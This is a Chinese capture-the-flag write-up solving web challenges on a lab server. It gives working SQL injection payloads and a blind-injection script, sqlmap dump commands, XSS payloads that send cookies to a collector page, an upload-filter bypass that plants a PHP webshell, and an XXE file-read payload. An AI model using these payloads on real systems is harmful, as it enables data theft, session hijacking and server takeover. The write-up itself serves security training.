这个题目是Union型sql注入,没有进行任何过滤,可以通过sqlmap或者手注。
通过单引号截断sql查询语句:可以利用and 1=2进行union注入,获取注入结果回显:2的位置可以回显,接下来猜测表名,当from flag的时候可以正常回显:表名错误的话则查询不到数据:列名类似,最终的POC:http://10.3.242.167/hackit/question/sqli1/index.php?id=1' and 1=2 union select 1,flag from flag %23得到:如果使用sqlmap的话:首先使用-u判断是否存在注入:发现可以Union、布尔型、基于时间……于是,分别使用—dbs –tables –columns可以得到数据库名、表名、列名,最后用:sqlmap.py -u "http://10.3.242.167/hackit/question/sqli1/index.php?id=1" -D one -T flag –dump这个题目过滤了一些关键字,但是可以利用大小写混写进行绕过:将and关键字用&&代替,注意要进行url编码,最后的payload如下:http://10.3.242.167/hackit/question/sqli2/index.php?id=1' %26%26 1=2 UNion sElect 1,flag fRom flag %23这个看泽哥注入的时候,发现可以利用—tamper=randomcase,使用sqlmap的随机大小写关键字脚本,直接也可以得到结果:sqlmap.py -u "http://10.3.242.167/hackit/question/sqli2/index.php?id=1" --tamper=randomcase后面的同第一个:这个题目看源码可以发现把union整个给过滤了,所以只能通过Bool型盲注了:通过substr取出第一位然后用ascii码判断,可以得到第一位的ascii码为84,即’T’写一个简单的盲注脚本:# /usr/bin/python#coding:utf-8import requestsimport reimport base64import timeimport binasciiwant = ''for i in range(1, 33):number = str(i)for ss in range(0x0, 0xff+1):u = 'http://10.3.242.167/hackit/question/sqli3/index.php?id=1\' %26%26 exists(seLect flag From flag where ascii(substr(flag, ' + str(number) + ', 1))=' + str(ss) + ') %23' s = requests.Session()c = s.get(u)content = c.contentif 'look me!' in content:print uwant = want + chr(ss)print wantbreakprint want运行脚本得到最后的结果:反射型XSS和存储型XSS只在第一个页面进行了过滤,提交内容后进入第二个页面,这个页面并没有做过滤,因为是想让大家了解一下反射型XSS和存储型XSS的不同点以及XSS的简单利用(盗取cookie)。
chrome浏览器对反射型xss 做了过滤,为了达到效果,特在Firefox下演示。
输入name后在第二个页面的输入框输<script>alert(1)</script>fddf,效果如下图,说明插入的js脚本被成功执行。
接下来考虑盗取cookie。
本地web服务器下准备一个3.php文件,内容如下图,主要功能是接受传过来的参数,名为cookie,然后将其写到cookie.txt文件里面。
在第一个页面输入name后进入第二个页面中输入如下内容(如下语句的功能其实就是请求上面的3.php,并把cookie作为参数传过去),<script>new Image().src='http://localhost/3.php?cookie='+document.cookie</script> 如下图所示,cookie.txt中已经有接受到的cookie。
我在后台把大家在 2.php中输入的内容存到了message.txt中,然后在message.php把内容读出来,这里是构造一种简单的存储型XSS场景,区别于反射型XSS中把2.php中输入的内容直接echo出来。
先在本地web服务器上准备一个3.php,内容跟上面一样,然后,在第一个页面输入name后(我这里输入name111,所以cookie的内容是name=name111)进入2.php,在2.php中输入:<script>new Image().src='http://localhost/3.php?cookie='+document.cookie</script> 访问message.php即可收到cookie。
这题是通过上传文件的类型来判断能否通过上传,传个php一句话,然后抓个包:会提示上传出错,这里修改Content-type=image/jpeg,然后重放数据包:这样就看到了第一枚flag,这里利用apache+windows的特性,针对”php ”或“php.”会保存成“php”,这里修改文件名为“1.php..”,然后重放数据包:提示上传成功,访问upload目录下1.php,发现已经解析,使用菜刀连接,看到第二枚flag:(各位尝试成功的话请不要进行破坏操作)这个首先可以看到部分源码说明:这里可以利用各种花式绕过方法,列举最常用的一种绕过方式:这里是一个XML实体注入漏洞,源码做了一些过滤,可以使用file协议读文件,首先给出读文件的POC(由于需要读php,直接读会被截断,因此用base64编码下):<?xml version="1.0" encoding="utf-8"?><!DOCTYPE tsctf [<!ELEMENT methodname ANY ><!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=robots.txt" >]><methodcall>&xxe;</methodcall>也可以通过物理路径,可以从报错回显中得到,这里首先读一下xxe.php:PD9waHAgDQoJJHJldCA9IGxpYnhtbF9kaXNhYmxlX2VudGl0eV9sb2FkZXIoZmFsc2UpOw 0KCSR4bWxfc3RyaW5nID0gZmlsZV9nZXRfY29udGVudHMoJ3BocDovL2lucHV0Jyk7DQoJ DQoJaWYgKCFpc3NldCgkeG1sX3N0cmluZykgfHwgJHhtbF9zdHJpbmc9PT0iIikNCgkJZGllK CJXaHkgbm90IHBvc3QgYSB4bWw/Iik7DQoJDQoJaWYgKHN0cmlzdHIoJHhtbF9zdHJpbm csICdodHRwJykgfHwgc3RyaXN0cigkeG1sX3N0cmluZywgJ2Z0cCcpIHx8IHN0cmlzdHIoJHh tbF9zdHJpbmcsICdwaGFyJykgfHwgc3RyaXN0cigkeG1sX3N0cmluZywgJ2V4Y2VwdCcpKQ 0KCQlkaWUoIllvdSBjYW4ndCBkbyB0aGlzISIpOw0KCQ0KCWlmIChzdHJpc3RyKCR4bWxfc 3RyaW5nLCAnLi4nKSkNCgkJZGllKCJZb3UgY2FuJ3QgZG8gdGhpcyEiKTsNCgkNCgkkcmUg PSBzaW1wbGV4bWxfbG9hZF9zdHJpbmcoJHhtbF9zdHJpbmcpOw0KCS8vSGVyZSBpcyB0 aGUgZmlyc3QgZmxhZzogVFNDVEZ7QW5fZTRzeV9YWEVfRXg0bXBsM30NCgkvLy1BLQ0K CQ0KCWVjaG8gJHJlOw0KPz4=解码后得到第一个flag:<?php$ret = libxml_disable_entity_loader(false);$xml_string = file_get_contents('php://input');if (!isset($xml_string) || $xml_string==="")die("Why not post a xml?");if (stristr($xml_string, 'http') || stristr($xml_string, 'ftp') || stristr($xml_string, 'phar') || stristr($xml_string, 'except'))die("You can't do this!");if (stristr($xml_string, '..'))die("You can't do this!");$re = simplexml_load_string($xml_string);//Here is the first flag: TSCTF{An_e4sy_XXE_Ex4mpl3}//-A-echo $re;?>然后根据robots.txt的提示(在xxe目录下放robots.txt被吐槽了……):读取后门的php文件内容如下:<?php$a = $_POST['1112'];$b = $_POST['1114'];$pass = $_POST['1509'];if (!isset($a) || !isset($b) || !isset($pass))die("You found me. So?");if (md5($pass) === "df7d4c3ca439fa8dc050990faff0929e")$a("$b");?>这里首先解出md5明文为TSCTF,所以需要POST 1509=TSCTF,这里用起来不方便,可以先用这个后门写个一句话,先测试下phpinfo():这里$貌似会把后面的当变量,PHP不太熟所以分两步写,第一步:第二步:然后访问:OK,马儿拼完了,上菜刀,在C盘根目录读到最后一个flag:。